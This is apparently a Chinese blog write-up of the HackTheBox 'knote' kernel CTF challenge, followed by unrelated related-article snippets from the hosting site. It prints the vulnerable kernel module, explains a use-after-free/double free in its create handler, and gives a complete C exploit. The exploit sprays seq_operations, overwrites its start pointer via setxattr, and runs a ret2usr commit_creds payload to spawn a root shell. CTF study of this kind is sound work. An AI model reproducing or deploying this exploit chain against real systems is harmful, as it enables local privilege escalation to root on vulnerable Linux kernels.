HackTheBox_knote

news2024/12/24 2:58:28

前言

最近打算刷一些内核利用的 CTF 的题目~~~

题目分析

  • 内核版本:v5.8.3,但是没有开启 cg 隔离
  • smap/smep/kpti/kaslr 全关,可以 ret2usr,所以应该是比较老的题目了(:这里很奇怪的是就算设置 kaslr 但是也无法开启
  • 然后 CONFIG_SLAB_FREELIST_RANDOMCONFIG_SLAB_FREELIST_HARDENED 都没有开启(:这里利用工具查出来 CONFIG_SLAB_FREELIST_RANDOM 是开启的,但是调试可以知道其没有开启

题目给了源码:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"

MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");

static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);

static int major;
static struct class *knote_class  = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
    .unlocked_ioctl = knote_ioctl
};

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

struct knote *knotes[10];

void knote_encrypt(char * data, size_t len) {
    int i;
    for(i = 0; i < len; ++i)
        data[i] ^= 0xaa;
}

void knote_decrypt(char *data, size_t len) {
    knote_encrypt(data, len);
}

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
    switch(cmd) {
        case KNOTE_CREATE:
			// len [0, 0x20]
			// idx [0, 0x10)
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]); // 没有清空 knotes[ku.idx]
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        case KNOTE_DELETE:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            knotes[ku.idx] = NULL;
            break;
        case KNOTE_READ:
            if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            break;
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         case KNOTE_DECRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

static void __exit exit_knote(void)
{
    device_destroy(knote_class, MKDEV(major, 0));
    class_unregister(knote_class);
    class_destroy(knote_class);
    unregister_chrdev(major, DEVICE_NAME);
}

module_init(init_knote);
module_exit(exit_knote);

题目实现了一个菜单堆,具体增删查的功能,然后还有两个加解密功能,堆块大小限制为 [0, 0x20],然后最多同时创建 10note,维护的结构体如下:
在这里插入图片描述
主要的漏洞点在于在创建 note 时,如果赋值用户态数据失败则释放掉已经分配的堆块,但是这里没有将 knotes[ku.idx]NULL,从而导致 UAF/Double Free

漏洞利用

这里没有给写的功能,所以得想办法写入,然后这里先假设有 smap/smep/kaslr/pti 等保护应该如何利用(:其实这里存在 0x20 大小的 double free,所以可以利用之前笔者总结的 DCO 方式进行利用,这里不过多说明,具体参考笔者之前的文章

然后笔者最开始想的是利用 user_key_payload + setxattr 实现越界读,但是似乎 add_key 用不了(:应该没编译相关模块

然后回到题目中保护全关的情况下,注意题目中 note 结构体的大小也是 0x20,所以构造循环 freelist

  • 先分配一个 note 0data 大小也为 0x20,这里使得复制数据失败,从而释放相关堆块(:这里调试可以知道 next 指针存放在 0x10 位置
    在这里插入图片描述
  • 然后在释放 note0,此时构成循环 freelist
    在这里插入图片描述
  • 此时分配 seq_operations 占据堆块
    在这里插入图片描述
  • 然后在利用 setxattr 修改 seq_operationsstart 指针从而实现 ret2usr

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/xattr.h>


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(2);
        exit(EXIT_FAILURE);
    }
    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct knote {
    unsigned long idx;
    char * buf;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

int fd;
void add(uint64_t idx, void* buf, size_t len) {
        struct knote n = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, KNOTE_CREATE, &n);
}

void del(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

void show(size_t idx, void* buf, size_t len) {
        struct knote n = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, KNOTE_READ, &n);
}

void enc(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

void dec(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

static size_t prepare_kernel_cred = 0xffffffff81053c50;
static size_t commit_creds = 0xffffffff81053a30;
static size_t shell = (size_t)get_root_shell;
void get_root_privilige()
{
        asm volatile (
        "mov rdi, 0;"
        "mov r14, prepare_kernel_cred;"
        "call r14;"
        "mov rdi, rax;"
        "mov r14, commit_creds;"
        "call r14;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, shell;"
        "push r14;"
        "iretq;"
        );
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        save_status();
        int res;
        int seq_fd;
        int key_id;
        int fds[20];
        char buf[0x20];
        memset(buf, 'A', sizeof(buf));
        fd = open("/dev/knote", O_RDONLY);
        if (fd < 0) err_exit("open /dev/knote");

        for (int i = 0; i < 20; i++) {
                fds[i] = open("/proc/self/stat", O_RDONLY);
        }

        add(0, (void*)0xdeadbeef, 0x20);
        del(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("open seq file");
        open("/proc/self/stat", O_RDONLY);

        size_t evil[4] = { (size_t)get_root_privilige, 0xffffffff810f1800, 0xffffffff810f17f0, 0xffffffff811082e0 };
        setxattr("./", "Pwner", evil, 0x20, 0);

        for (int i = 0; i < 20; i++) {
                close(fds[i]);
        }

        read(seq_fd, buf, 1);
        return 0;
}

效果如下:
在这里插入图片描述
题目如果开启了 smap/smep 可以考虑打 pt_regs 。然后这里还可以通过劫持 encrypt_func/decrypt_func 指针去控制程序执行流。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1642747.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虚拟化技术 使用Vsphere Client管理ESXi服务器系统

使用Vsphere Client管理ESXi服务器系统 一、实验目的与要求 1.掌握使用vSphere Client管理ESXi主机 2.掌握将CentOS的安装介质ISO上传到ESXi存储 3.掌握在VMware ESXi中创建虚拟机 4.掌握在所创建的虚拟机中安装CentOS6.5操作系统 5.掌握给CentOS6.5安装VMware Tools 6.掌…

RabbitMQ(Docker 单机部署)

序言 本文给大家介绍如何使用 Docker 单机部署 RabbitMQ 并与 SpringBoot 整合使用。 一、部署流程 拉取镜像 docker pull rabbitmq:3-management镜像拉取成功之后使用下面命令启动 rabbitmq 容器 docker run \# 指定用户名-e RABBITMQ_DEFAULT_USERusername \# 指定密码-e R…

python数据可视化:显示两个变量间的关系散点图scatterplot()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 python数据可视化&#xff1a; 显示两个变量间的关系 散点图 scatterplot() [太阳]选择题 请问关于以下代码表述错误的选项是&#xff1f; import seaborn as sns import matplotlib.pyplot …

EPAI手绘建模APP编辑模型2

⑩ 桥接&#xff0c;选择两个面。桥接完成后&#xff0c;在选择的两个面之间生成了一个边界放样模型&#xff0c;边界放样模型和原模型合并成一个新的模型。 图 213 桥接 ⑪ 移除特征&#xff0c;选择倒圆角面、倒直角面、挖孔面、凸起面&#xff0c;移除。移除特征后&#xff…

图像处理ASIC设计方法 笔记21 标记ASIC的顶层状态机

目录 (一)标记ASIC的工作流程1 ASIC首先从控制寄存器内读出待标记图像的基本参数2若写入了有效的启动命令,则进入下面一帧图像的标记过程。3 ASIC通过接口模块从FIFO1中读取待标记的图像4一帧图像初步标记完成后进行等价表的整理压缩5从临时标记存储器中读取临时标记送入标记…

【iOS】KVC

文章目录 前言一、KVC常用方法二、key与keypath区别key用法keypath用法 三、批量存值操作四、字典与模型相互转化五、KVC底层原理KVC设值底层原理KVC取值底层原理 前言 KVC的全称是Key-Value Coding&#xff0c;翻译成中文叫做键值编码 KVC提供了一种间接访问属性方法或成员变…

数据结构练习题---环形链表详解

链表成环&#xff0c;在力扣中有这样的两道题目 https://leetcode.cn/problems/linked-list-cycle/ https://leetcode.cn/problems/linked-list-cycle-ii/description/ 这道题的经典解法是利用快慢指针&#xff0c;如果链表是一个环形链表&#xff0c;那么快指针(fast)和慢指…

AI图书推荐:AI在语言学习教育领域的应用和挑战

这本书《AI在语言学习教育领域的应用和挑战》&#xff08;AI in Language Teaching, Learning, and Assessment&#xff09;由Fang Pan编辑&#xff0c;出版于IGI Global&#xff0c;主要探讨了人工智能&#xff08;AI&#xff09;在语言教育领域的应用、挑战以及潜在的益处。 …

【苍穹外卖】项目实战Day04

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;苍穹外卖项目实战 &#x1f320; 首发时间&#xff1a;2024年5月5日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43e…

TwinCAT3 实时内核调度算法

前言 TwinCAT3 支持多核心CPU并行运行实时任务&#xff0c;根据官方网站的帮助信息“实时”定义取自DIN44300&#xff0c;而且实时任务的调度算法默认是 RMS算法&#xff08;速率单调调度算法&#xff09; RMS算法 来看一下百度百科的解释&#xff1a; RMS&#xff08;单调速…

探究Android的多分辨率支持以及各种类型图标尺寸大小

术语和概念 屏幕尺寸 屏幕的物理尺寸&#xff0c;以屏幕的对角线长度作为依据&#xff08;比如 2.8寸&#xff0c; 3.5寸&#xff09;。 简而言之&#xff0c; Android把所有的屏幕尺寸简化为三大类&#xff1a;大&#xff0c;正常&#xff0c;和小。 程序可以针对这三种尺寸…

大厂案例 - 通用的三方接口调用方案设计(中)

文章目录 Pre阿里云华为云【AK和SK生成方案】最佳实践1. 创建API密钥管理系统2. 生成AK和SK3. 存储和管理AK和SK4. 提供API密钥分发机制5. 安全性6. 其他注意事项 DB Model Design表结构Next考虑其他建议 API接口设计指导1. 使用POST作为接口请求方式2. 客户端IP白名单3. 单个接…

ROS服务器通信

目录 一、角色 二、流程 注意 三、例子描述 四、srv文件 编译配置文件 vscode配置 五、Server.cpp编写例子 编写CMakeList 六、观察server的效果 七、Client编写例子 编写CMakeList 八、观察Client的结果 九、Client优化&#xff08;动态输入&#xff09; 了解argc…

【网络编程下】五种网络IO模型

目录 前言 一.I/O基本概念 1.同步和异步 2.阻塞和非阻塞 二.五种网络I/O模型 1.阻塞I/O模型 2.非阻塞式I/O模型 ​编辑 3.多路复用 4.信号驱动式I/O模型 5. 异步I/O模型 三.五种I/O模型比较​编辑 六.I/O代码示例 1. 阻塞IO 2.非阻塞I/O 3.多路复用 (1)select …

STM32 F103C8T6学习笔记16:1.3寸OLED的驱动显示日历

今天尝试使用STM32 F103C8T6驱动显示 1.3寸的OLED&#xff0c;显示数字、字符串、汉字、图片等 本质与0.96寸的OLED是完全相同的原理&#xff1a; 而且经过我的研究发现: 1.3寸大小的OLED并未比0.96寸的有更多的显示像素点数来显示&#xff0c;也是128*64的像素点数显示: 也…

2024-5-4

今日流水账&#xff1a; 上午&#xff1a; 之前的那道 kernel pwn 已经成功构造了 dirty pipe 原语&#xff08;&#xff1a;但是不知道为啥修改 /bin/busybox 一直报段错误&#xff0c;悲&#xff0c;后面在探索探索&#xff08;&#xff1a;这里简单尝试写下 /etc/passwd&…

【架构系列】RabbitMQ应用场景及在实际项目中如何搭建可靠的RabbitMQ架构体系

作者:后端小肥肠 创作不易&#xff0c;未经允许禁止转载。 1. 前言 RabbitMQ&#xff0c;作为一款高性能、可靠的消息队列软件&#xff0c;已经成为许多企业和开发团队的首选之一。它的灵活性和可扩展性使得它适用于各种应用场景&#xff0c;从简单的任务队列到复杂的分布式系统…

eNSP-动态路由(ospf协议)

一、拓扑结构搭建 二、主机配置 pc1 pc2 三、路由器配置 1.AR2配置 <Huawei>sys #进入系统视图 [Huawei]int g0/0/0 #进入接口 [Huawei-GigabitEthernet0/0/0]ip address 192.168.0.2 24 #设置ip地址 [Huawei-GigabitEthernet0/0/0]q #返回上一级 [Huawei]int g0/0/1 …

asp.net结课作业中遇到的问题解决2

目录 1、如何实现评论交流的界面 2、如果想要将文字添加到数据库中&#xff0c;而不是乱码&#xff0c;该怎么修改 3、如果想要添加的数据已经存在于数据库&#xff0c;就不允许添加了&#xff0c;该如何实现 4、想要实现某个模块下有好几个小的功能该如何实现 5、想要实现…

Unity 性能优化之数据面板(Statistics)(一)

提示&#xff1a;仅供参考&#xff0c;有误之处&#xff0c;麻烦大佬指出&#xff0c;不胜感激&#xff01; 文章目录 前言一、unity 统计数据面板&#xff08;Statistics&#xff09;1.Audio属性2.Graphics属性 二、什么是Draw Call&#xff1f;三、Unity3D stats也可以通过代…